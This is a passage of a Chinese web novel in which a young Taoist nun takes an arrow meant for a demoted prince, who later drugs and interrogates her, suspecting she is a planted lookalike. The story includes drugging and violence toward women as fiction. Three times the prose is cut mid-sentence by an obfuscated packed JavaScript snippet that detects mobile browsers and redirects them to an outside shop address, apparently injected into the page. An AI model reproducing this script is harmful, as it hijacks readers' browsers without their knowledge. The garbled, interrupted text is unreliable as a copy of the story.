她心里慌得紧，都怪自己心志不坚，被谢元佑搅乱了心神，大意了。 正乱着，她耳边忽然捕捉到一丝极细微的响动——那是箭镞破空的声音，嗤啦啦的，像撕帛一般。她头皮一炸，心道不妙，眼见那箭直朝前头的谢元佑心窝子去了！ 她顾不得多想，整个人便扑了上去，右手猛地朝谢元佑背上一推。紧接着“噗”的一声闷响，她只觉身子被一股巨大的力道带得一个趔趄，低头一看，肩窝处热乎乎的，一只羽箭已钉在上头。那股灼痛霎时爬满全身，如火烧一般。 箭矢入肉，姜南绍禁不住闷哼一声，身子晃了晃，那箭杆还在肩头颤着，血色从青灰道袍里洇出来，洇成一片暗沉的花。 谢元佑其实早已听见那箭声，正要闪身躲开，背后却被人猛推一把。他一个趔趄摔倒在地，狼狈不堪。 与此同时，一道瘦弱的影子被那股大力带得往后一仰，直直朝他倒过来。他下意识伸手一接，竟是那个小女冠，肩窝里插着支箭，血沾了他一手。 他皱起眉头，心里暗骂：莽撞东西，多此一举。可待他低头看清怀里那张脸，登时变了脸色。 她那张苍白如纸的脸忽然凑到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533805|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前。 他瞳孔骤缩。 方才那股子懒散劲儿霎时褪得干干净净，像是被人一把掀去了面具。 他的手顿了顿，竟不知该往哪儿放。 “你——”他声音发紧，与方才判若两人。 姜南绍却只皱了皱眉，偏头看了眼肩上的箭，又抬眼朝箭矢来处望去。假山那头，一道黑影一闪，没入树丛深处，窸窣几声响动，便没了踪影。 “有刺客！”管事这才反应过来，扯着嗓子喊道，“来人！护住大人！” 几个护卫拔刀冲过来，汪平程和孙慈安也在众人簇拥下匆匆赶到。 谢元佑却像没听见一般，只顾盯着姜南绍瞧。 他伸出手，稳稳扶住她未受伤的那侧肩膀，声音压得极低：“你是谁？” 她肩上的血已浸透了小半片衣襟，疼得眼前阵阵发黑，却仍撑着不肯昏过去。 谢元佑蹲下身，与她平视，目光落在她脸上，仔仔细细看了好一会儿。 “你认得我。”他忽然说。 不是问句，是陈述。 姜南绍疼得眼前发花，满目都是重影。她硬撑着打量面前这张脸，身子如筛糠般抖个不停，只觉浑身灌满了冷风，越来越冷。她咬着牙强迫自己稳住，打量他时，眼神稳稳地接住他的打量。 谢元佑冷冷一笑——这回倒送了个像了七八成的人来。他心里那股火蹭蹭往上蹿，烧得他几欲炸裂。 他手一松，竟将她重新掷回地上。 姜南绍身子一软，想撑住却使不上劲，结结实实跌在地上。 姜南绍额上汗珠密密匝匝，被他这一摔，疼得眼前发黑，险些当场昏过去。 一旁有小厮冲过来，正要弯腰去扶。 谢元佑却黑着脸，一把将小厮推开，倒装起好人来：“我来罢。这可是我的救命恩人。” 姜南绍心里狠狠啐了一口——方才把我摔在地上那会儿，怎不记得我是你救命恩人？ 谢元佑似看穿她心思，一把将她捞起，那只手不偏不倚，正按在她肩窝边上。 姜南绍疼得脸如白纸，浑身抖得更甚，嗓子也劈了：“你……放开……放开我……” 她嘶哑着声，几近脱力，嘴上却不肯服软：“混账……放开……” 她想伸手去抓他的脸，却被他偏头躲开。 这人真下得去手，按在肩窝旁的力道又加了几分，嘴上却无耻到家：“莫动，我送你回屋。我知男女授受不亲，可小女冠且忍一忍，片刻便好。” 他说“小女冠”三字时，简直是从牙缝里蹦出来的。 姜南绍脑子里嗡嗡作响，豆大的汗珠糊了满脸。她别过头去不再看他，却硬撑着身子不甘示弱，张口便朝他手上咬去。 “你这小泼妇！”谢元佑吃痛，手上的劲却半分未松。 “死泼皮……”姜南绍也咬牙骂了一句，声音轻得连自己都快听不见。脑子里嗡嗡声越来越大，眼皮越来越沉，眼一翻，终于彻底晕死过去。 身后，汪平程等人赶到现场，只瞧见地上一摊血迹，和管事惊慌失措的脸。 “怎么回事？”汪平程沉声问道。 “有……有刺客，有人朝谢参军放箭，被那位女冠挡下了” 汪平程脸色骤变，转头吩咐护卫：“封锁州府，搜！一个角落都不许放过！” 孙慈安抹了把额上的汗，连声应着，急忙喝令属下去调人。 30. 受伤 姜南绍又做了那个梦——同样的地方，走着走着便被黑暗吞了。这回更甚，还重重跌了一跤。 她“啊”地呻吟一声，觉着明明喊得响亮，那声儿却轻得连自己都快听不见。模模糊糊的，听见有人轻轻唤她：“姜南绍，姜南绍。” 不，她不是，她不是姜南绍。她摇着头，抗拒这个名字。 恍惚间又有人在叫：“阿濡，阿濡。”她喉咙一紧，想应声，却半点声儿都挤不出来。 一只冰凉的手轻轻抚过她额头，她觉着快烧着的身子顿时舒爽了不少。 她费力睁开眼，一个身披道袍的道姑正看着她——是师父，原来在叫她。 她恍惚了一阵，神志渐渐清醒过来——没有阿濡，他们叫的是姜南绍。 她张开嘴，嗓子跟破锣似的：“师父。” “醒了便好。”吴山娘面色不豫，眉头拧得能夹死蚊子，“你都昏睡一日了。” 床头打盹的周至语也醒了，看她睁开眼，瞧着她的神色有些担忧。她嘴唇动了动，到底还是没出声。 姜南绍眼珠转了转，打量这屋子——仍是知州府她住的那间房，屋里除了吴山娘和周至语，再无旁人。 吴山娘面容憔悴，缓缓道：“箭取出来了，无大碍，但得慢慢养些日子。” 姜南绍瞧她那脸色，心下一沉——她能有好脸色才怪，她们的计划泡汤了。 果然，吴山娘并未因她伤重便给她半分喘息之机，话锋一转，盯着她的脸，语气严厉起来：“怎么回事？怎会失手？” 姜南绍舔了舔干裂的唇，闭了闭眼：“师父，容我想想。” 周至语看她那副模样，于心不忍：“师父，让她喝口水罢。” 吴山娘不理她，只死死盯着姜南绍，等她回答。 姜南绍将那日情形在脑子里过了一遍，忽地脸色更加惨白：“师父，那日……那日桃木剑不受控制了。” 吴山娘心里一沉：“怎么说？” 姜南绍虽在病中，多年养成的警醒却未丢，她往四下里瞅了瞅。吴山娘明白她的意思，道：“放心，外头有咱们的人守着。” 姜南绍心下明白，必是那个没看清脸的婢女了。 “那日，本来好好的。”她舔了舔干裂的嘴唇，缓了口气，“我快行完科仪了，汪平程一行人已到坛前听我诵读。我烧了疏纸，正要回向信士——那个人偷了供品，在假山后头喂鱼，还出声讥诮。我本握着桃木剑在做法，听见那声儿，那桃木剑竟不受控制，直直地朝他出声的方向去了。” 她思绪渐渐清明起来：“行事前咱们合计好的，若顺利，该是我回向时由云来先生派来的箭手射杀汪平程。我那时在他身侧，得手后速取心头血。若遇情况紧急，便由我亲自动手，箭手护我周全。可桃木剑却在那时指向那姓谢的参军，箭手必是误会了，以为我要对他动手。” 吴山娘低头不语，半晌叹了口气：“怎么竟出了这样的岔子。” 她低头沉吟，有些不解：“可桃木剑怎会指向那姓谢的？” 那桃木剑施了法，只会指向至阳之人。 屋里静了片刻，三人互相看了看，心下都明白了什么。 吴山娘猛地瞪大眼，一把攥住姜南绍胳膊，手心沁出汗来：“莫非他也是至阳之人？” 姜南绍脸色白得像纸，仍在细细回想——汪平程过来时，她还能控制桃木剑。偏那厮突然冒出来，她心神一乱，哪知同场还有另一位至阳之人？自是控不住那剑，等反应过来，什么都晚了。 吴山娘飞快瞥她一眼，目光在她脸上来回扫：“这姓谢的八字，你竟不知？”她站起身来，拂了拂袖，冷哼一声，“我们找了这么久的至阳之人，你知道他便是，却瞒着我们——莫不是……舍不得？”她面带怒色，咄咄逼人，“你可别忘了，你如今已不是蒋相墨，是姜南绍。” 姜南绍闻言却笑了：“师父，我那会儿才十五岁，还不是姜南绍，自然也不懂什么八字之理。我只记得他生辰，到何处去知道他八字？” 周至语听她俩你来我往，如坠云雾：“你们说什么？”她只隐约搞懂一件事——原来她原名叫蒋相墨。 吴山娘似还不信，仍旧逼问：“你救那姓谢的，存了什么心思？” “师父，”姜南绍神情不变，“我若不救他，咱们计划才真要全砸了。他若死了伤了，知州府必围得铁桶似的，别说取汪平程心头血，就是想挨近他都难。你也知姓谢的是什么身份，我若不救他，怎么把咱们摘干净？往后哪还有机会得这心头血？” 吴山娘面露鄙夷：“一个失了势被贬的皇子，你怎笃定知州府会将他放在心上？” “那倒未必，”姜南绍眼神犀利，“一个失了势的皇子，也非寻常人。他虽被贬，不是皇子了，可明日会发生什么，谁说得准？他一个小小参军，却能进这州衙，就是明证。孙知州也不敢赌——只要姓谢的被皇帝饶了性命，那就说明皇帝还不想让他死。若人死在这知州府内，皇帝必定要寻他错处。如今，我救了他，你想孙知州会如何待我？” 吴山娘面色松动了几分，可眉头还皱着：“我现在最担心的是，你与那姓谢的自小熟识，我怕他将你认出来，真是晦气，半路杀出这么号人来。” 姜南绍扯了扯嘴角，想起那人方才不怀好意按在她肩窝的模样，心里头一阵发颤：“师父放心，就我如今这模样，早不是当年那个娇滴滴的小姑娘了，他认不出的。”她顿了顿，喘了口气，又道，“若他真认定我是，也不打紧。我自有法子让他怀疑自个儿认错了人。” 姜南绍的本事，吴山娘自然是知道的。她面色终于缓了缓，心里疑虑去了大半。 她瞧见姜南绍脸色极难看，鬓边细汗湿了头发，说话还微微带喘，终究于心不忍：“你还是处处当心些，不可小瞧了人。至于这科仪之事，我昨日已替你重新补全了，你安心在这儿休养一阵。等好些了，我便让你师姐来接你回匠巷。后面的事，再从长计议罢。” 她从怀里摸出一张银票，递过去：“这是孙知州硬要给你的补偿。我知你用得上，收着罢。” 姜南绍伸手接过，塞到枕下，手又缩回被子里，整个人病恹恹的，没一点精气神。 吴山娘也觉着乏了，吩咐周至语：“你同我一道回玉泉宫，明日再去云来先生那里。” 周至语一怔，忙道：“师父，我留下来照顾她罢。她一人在这儿怎么成？” 吴山娘盯了她一眼，拿话噎她：“你不是看她不顺眼么？怎么今日倒要姐妹情深了？” “我……”周至语脸上红一阵白一阵，话堵在喉咙里。 “走吧。”吴山娘面色不悦，“这儿有的是人伺候，用不着我们。过几日她好些了，我们再来接她。” 周至语转过头看了姜南绍一眼，嘴唇翕动，似想说什么。可姜南绍已闭上眼，面色一片灰败。 吴山娘走到门口，忽又想起什么，回头道：“绍儿，如今已有两个至阳之人了。我会让云来先生去确认他的八字，咱们好生商议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535773|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一番，看取谁的心头血更为便宜。你养伤时也好好掂量掂量——计划可能要变了。” 姜南绍头歪在枕上，微微动了动，算是应了。 屋里终于静下来了。 姜南绍歪在枕上，只觉天旋地转，脑仁一抽一抽地疼。刚醒过来，气还没喘匀，便被当犯人似的审了一通，连口水也不曾得喝。这会儿又乏又饿，胃里像有只手在拧。 她扯了扯嘴角，冷冷一笑。 绍儿？叫得倒亲热。 除了银子，这世上大概没一样东西能真正入她的眼。她太明白了——吴山娘为何不留周至语照看她。周至语兴许不懂，可她懂。这是罚她呢。 计划砸了，不论理由，她都有错。不配有伺候的人。 六年了，她就这么过来的。这日子过着过着，便麻木了；麻木了，便觉不出疼了。 她惯了，也不在乎了。 此刻眼皮沉得抬不起来，想喝水却不想动，也不想再有人来这屋子。 她只想再睡一觉。 太累了。 也不知过了多久，外头窸窸窣窣的响动把她吵醒了。一个婢女端着托盘进来，轻手轻脚地摆吃食。 姜南绍拧着眉头睁开眼，嗓子干得冒烟，先要了口水，小口小口抿着，又喝了一碗热腾腾的米粥下去，这才觉着身上有了丝力气。可毕竟伤得不轻，那点子力气也撑不住多久。她也不管那婢女还在屋里进进出出地忙活，歪在枕上又睡过去了。 再醒来时，床头趴着个婢女，听见动静，赶忙凑过来：“小女冠，你可醒了。” “我睡了多久了？”她试着动了动身子，肩窝处还是疼，但精神头比先前好了不少。 婢女还真算了算：“约莫五个时辰了。外头天都黑透了。小女冠可要再进些吃食？” 五个时辰？肚子倒适时地咕咕叫起来。她又吃了些面饼，喝了大半碗肉汤。那汤熬得浓白，热乎乎地下去，整个人才算活泛了些。 婢女在一旁念叨：“小女冠总算是好些了。先前几位大人来看你，你昏睡着没醒，他们站了站便回去了，只嘱咐我好生伺候着。”小丫头说着，又替她捻了捻被角，“女冠既醒了，我去请医官来瞧瞧？看换药不换？” 姜南绍点点头，婢女便一溜烟跑出去了。不多时，领了个长须老医官进来。老医官揭开她肩上的布，细细端详了半晌，又拿手指轻轻按了按边上的皮肉，点头道：“恢复得不错。明日我再来替你换药。”又扭头叮嘱了婢女几句，这才背着药箱去了。 婢女说灶上还煎着药，她得去看着火候，怕熬干了。她嘀咕着得去寻个帮手来照看姜南绍。姜南绍摆摆手：“你自去忙，我这儿不碍事。小伤罢了，自己能行。” 婢女还有些犹豫——到底是大户人家的规矩大，留病人一人在屋里怕是不妥。可姜南绍执意不肯留人，她也只得乖乖欠了欠身，退了出去。 吃饱喝足，那困劲儿又上来了。 姜南绍打着哈欠，觉着好生奇怪——这一受伤，倒跟引了瞌睡虫似的。兴许是这床太软和，这被褥又厚又暖，搁在匠巷那硬邦邦的木板床上，可没这待遇。她迷迷糊糊想着，没一会儿又沉沉睡了过去。 谢元佑瞧着那婢女走得没影了，这才大剌剌地踱步进了姜南绍屋里。 姜南绍睡得正沉。他在床沿坐下，两道目光钉子似的扎在她脸上，神色复杂得很。手伸出去，原想轻轻摸一摸，末了却变了主意，下了狠劲捏她的脸，从牙缝里挤出两个字：“死骗子。” 31. 下药 姜南绍睡得死沉，一时半会儿醒不过来。今日的吃食里，早被谢元佑使人动了手脚。 谢元佑的视线落在她脸上那几颗雀斑上，他伸手上去，用力搓了搓，搓不掉——那雀斑竟是真的。 他冷笑一声，明知这人不会是阿濡，可心底仍不免失望。 他嫌弃地在她脸上又拧了一把，嘴里喃喃道：“真脏。长这么难看的蝇粪。” 他觉得自己可笑——怎会以为眼前这个粗糙的小道姑会是阿濡？阿濡可是个长了颗小痘都要大惊小怪的小女娘。 他听过这小女冠说话，那嗓子，哑得跟老鸹似的；这头发，他伸手摸了摸，枯似干草，发梢都开了岔；这手，满掌老茧，还有冻疮留下的疤痕。他摩挲着，竟觉着有些硌手。 姜南绍虽在昏睡，眉头却轻轻蹙了蹙，像是听见了什么，又像是没听见。 谢元佑盯着她看了片刻，忽然伸手，毫不客气地去扯她衣领。纱布缠得严实，他只看了一眼，便松了手。那伤是真真切切的箭伤，不是装出来的。 他修长的手指慢慢往下滑，猛地把被子一掀，她半边身子便露了出来。一件白色中衣裹着，只露出一截细长的脖颈。他卷起她左手衣袖，那手臂上赫然几处旧疤，细细的，能瞧见底下青蓝的血管。 还是没有。 那块烫伤的疤，不在。 “不是她。”他低喃一句，不知是说给谁听的。 可心底那点不甘，像炭火里残存的火星，忽明忽暗。 他站起身，居高临下地看了她一眼。 这是第几回了？六年来，这样的场景有多少次了？ 那些人总当他是个疯子，他岂能不疯？那些别有用心的人，将一个又一个肖似她的女子送到他跟前来，不就想看他一点点崩溃，看他彻底疯了。 他明知是陷阱，却仍忍不住要亲眼瞧一瞧。他也骗自己：这个不是，下一个兴许就是了。结果呢？一回又一回，反复将自己放在油锅里煎。 每来一次，便似有个声音在心底提醒：谢元佑你真的疯了，阿濡早就不在了，她死了。 他心里那道伤口又一次被人活生生撕开。 他抬起手，想往她脸上扇一巴掌，可对着这张脸，怎么也下不去手。 只得就像过往每一次那样，但凡阿濡惹恼了他，他的手只会轻轻落下来，也不过是装模作样在她的脸上轻轻拧了拧，笑道：“你找死吧，小东西！” 这次，他却使了十成力气拧眼前这个小道姑，她的脸上立刻浮起几道红痕，他咬着牙，一字一句道：“你别找死！” “呵呵。”他笑出声来，笑得阴恻恻的，如同坟里爬出的怨鬼一般。 他笑那些人，偏不肯放过他。刺杀也罢，折磨也罢，他明明已不是皇子，贬到这遥远天边的秦州，他们却依旧阴魂不散。 他闭了闭眼睛，平复了情绪，沉着脸又坐回床头，盯着她瞧。 这张脸，像极了她。 六年了，她若还在，长到这般年纪，可是这个模样？ 也不知这回这小道姑是带着什么差事来的——监视他？还是折磨他？ 谢元佑喉头滚动，将那些翻涌的愤怒生生压回去。 只一会儿，眼底已恢复惯常的冷淡。 他盯着她的脸出神，却见她的眼皮动了动，似有要醒的迹象。 姜南绍觉着脸上一阵细细刺痛，慢慢睁开眼，只见一双黑沉沉的眸子正死死盯着自己。 她想也未想，下意识一拳挥出，一抬手却觉着手臂沉得像灌了铅，反被那人一把握住。 “醒得倒挺快。”谢元佑轻啧一声，“是我小看你了，你倒是有些本事。难为他们，这回竟给我寻来个女冠。”他凑近了些，声音压得极低，“说，他们许你多少银子？” 姜南绍低头瞧了瞧被掀开的被褥和卷起的衣袖，声音沙哑得几不可闻：“谢参军夤夜闯入女子卧房，还使下药这等下作手段，便是这般礼数？” “礼数？”谢元佑似听见了什么笑话，“你一个装神弄鬼的小小道姑，也配与我说礼数？” 姜南绍左手被他攥着，动弹不得。 她又试着挣了挣，觉着力气慢慢回来了些，便挥出另一只手，一记勾拳直取他肋下。 谢元佑早有防备，轻轻一闪便躲开了，顺带把她另一只手也攥住。 他这一躲，却露出头脸的空当。姜南绍身上有伤，气力不济，两手又被他制住，一怒之下，一头便朝他脸上撞去。 谢元佑偏头一闪，却慢了半拍，她的头正擦着他耳朵过去。她哪肯放过他，张嘴便咬住了他耳廓。 谢元佑腾出手来，一掌劈在她肩窝上。她疼得浑身一颤，嘴自然就松开了。 他摸了摸耳朵，嘶地抽了口气，怒气倒消了几分，反倒笑了：“看来药量还是下得不够。” “你这疯子！”姜南绍手按在肩窝处，疼得额上沁出一层细汗。她没了力气还手，嘴上却不肯饶人，朝他啐了一口，“摸进我屋里到底要作甚？还给我下药！” 她喘了口气，又骂道：“就该让那箭射穿你心窝！” 谢元佑笑了：“哟，你不说我倒忘了——你还救了我一命呢。” 姜南绍深吸一口气，心想如今虎落平阳，跟他置气半点不值当，不如养养精神。 她甩开他的手，将锦被往上拉了拉，盖好身子，直挺挺躺下去，索性闭口不言。 谢元佑瞧了瞧自己落空的手，也不恼，只整了整衣襟，拿话噎她：“怎的这般没耐性？我来瞧瞧我的救命恩人，探病而已，你这么不领情，打发你来的人，没教你学得像些么？” 姜南绍闭着眼，索性不理会他的挑衅。 脑子里却在拼命转：他一见我就一副寻仇的模样，哪里像是来探病的？他莫非对我有什么误会？ 可想想他那恶劣的模样，又恨得牙痒。 她觉着，还是闭着眼好。若不如此，她实在说服不了自己——眼前这人，竟能与她认识的谢元佑是同一人。 六年前楚王案后，她的世界天翻地覆，她便抗拒听他的消息，可免不了总有零星传闻传入耳中——说他如何狂悖，如何失了圣心，中了蛊，人人都道他疯了。 她本不想与他遇上，她真宁愿眼前的人根本不是谢元佑。 而如今的她，跟从前的阿濡隔着千山万水，早已是毫不相干的两个人了。 阿濡那丫头，本是死了的。 而今她觉着，从前的谢子韧，也该是死了的。 “你到底是谁？”他问。 姜南绍抬眼看他，面不改色：“谢参军不是已经知道了么？姜南绍，玉泉宫吴山娘的弟子，奉师命来行安宅科仪的。” “蒋相墨。”他低声念出这三个字，语气平静得可怕，像是在说一件再寻常不过的事。 姜南绍心头一震，面上却不动声色，只冷冷盯着他：“谢参军认错人了。贫道姜南绍，不认得什么蒋相墨。” “哦？”谢元佑拖长了调子，“那你怎么认得我？” “不认得。”姜南绍答得干脆。 “不认得？”谢元佑忽然倾身向前，脸凑近了几分，那双眼睛直直盯着她，“那你为何扑过来替我挡箭？一个小小女冠，犯得着拿命去救一个素不相识的参军？” 姜南绍连眼皮都没眨一下：“我是修道之人，见死不救，有违本心。” 谢元佑见她一本正经的模样，反倒不恼了。 他伸出一根手指，在她脸上慢慢画着圈，声音沉沉的： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537565|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你还没答我，他们许了你多少银子？” 她仍闭着眼：“谁是他们？” “我来猜猜，看对不对得上。”他手上的动作忽然停了，语气里带了三分阴冷，“你们设个局来杀我，你特意救我，又拿你这张脸来蛊惑我——你主子究竟图什么？” 他俯下身，凑近了些，又道：“是不放心我这个废物，想让你把我变得更无用？还是说，让你来给我施个法，将我彻底弄疯了才好？怎生是好呢，想杀我，他们总是不能如愿，便教你们这些女子来折磨我。” 他笑了笑，又摸了摸这张脸，语调温和，却透着丝冷意：“不过，你闭上眼睛时，倒真有几分像她。但一睁开眼，便不是那么像了——凶巴巴、冷冰冰，叫人瞧着不舒服。” 姜南绍心里一动，到这会儿总算听明白了——谢元佑这是把她当成什么人派来的眼线了？ 听那意思，竟也不是头一遭。且每次来的，都是与她长得相像的女子。 她心头泛起一丝酸涩，忽然有些明白了。 这些年，他变成这样，似乎也说得通了。 她不知该如何答他。 说不是？还是说是？他如今这性子阴晴难定，她摸不准哪句话会招来祸事。可她晓得，不说话却是万万不成的。 她睁开眼，望着他，问了个莫名其妙的问题：“那些女子，后来都如何了？” 谢元佑怔了怔，继而唇边浮起一个古怪的笑：“别怕，我不杀女人。” “可我不喜她们东施效颦，瞧着实在碍眼。”他顿了顿，目光幽幽地落在她脸上，“你说，该不该给她们些教训？” 姜南绍心底生出几分不祥：“你做了什么？” “也没什么。”他慢悠悠地道，那语气像是在说一件极寻常的事，“无非是学那官家老子批朱红的法子——眼睛不像，便用刀在眼角画个叉；耳朵不像，便用刀在耳朵上画个叉。哪里不像，便在哪里落个叉。” 姜南绍难以置信地盯着他，脊背一阵发凉，不由打了个寒噤。 他松开手，站起身来，居高临下地看着她，似笑非笑：“你瞧瞧，我这人是不是很仁义？” 他觑着她，嘴角噙着几分玩味：“那些女子都怕我，姜女冠倒是不同，瞧着挺镇定。” 姜南绍哼了一声：“我怕什么？我本就不是来害你的，倒还救了你一命。” 他点点头，那眼神却越发叫人捉摸不透：“我瞧着这回他们倒下了些血本。女冠这牺牲，可不小啊。” 姜南绍心里冤得紧，简直没处诉说。 偏偏造化弄人，她顶了这张脸，即便有百口也莫能辩了。 她飞快地在心里掂量了一番眼下的处境——这人惹不得，只能哄着。于是她放软了语调，巴巴道：“谢参军，我说的句句是实话。我如今也是一头雾水，什么都不知道。你放心，我往后绝不往你跟前凑。” 他冷笑一声：“欲擒故纵。” 正说着，外头传来脚步声。婢女掀开帘子，端了药进来，一见谢元佑怔了怔，忙不迭欠身：“谢参军。” 谢元佑没理会，只回头盯着姜南绍，嘴里说着关心的话，那眼神却跟刀子似的警告她：“姜女冠，好生养着。我改日再来看你。” 姜南绍点点头，面上端着：“多谢谢参军关心，慢走不送。” 待那人出了门，她才长长地吁出一口气，这才觉着浑身哪儿都疼。婢女端着药碗过来，瞧她脸上泛着红，伸手摸了摸她额头：“女冠没发热罢？脸上怎的这样红……咦，像是手印子？” “不妨事。”姜南绍摸了摸脸，那刺痛已消了大半，“怕是屋里炭火烧得太旺了。” 她摸了摸脸，嘴上敷衍着，心里头却把谢元佑骂了八百遍，这疯子。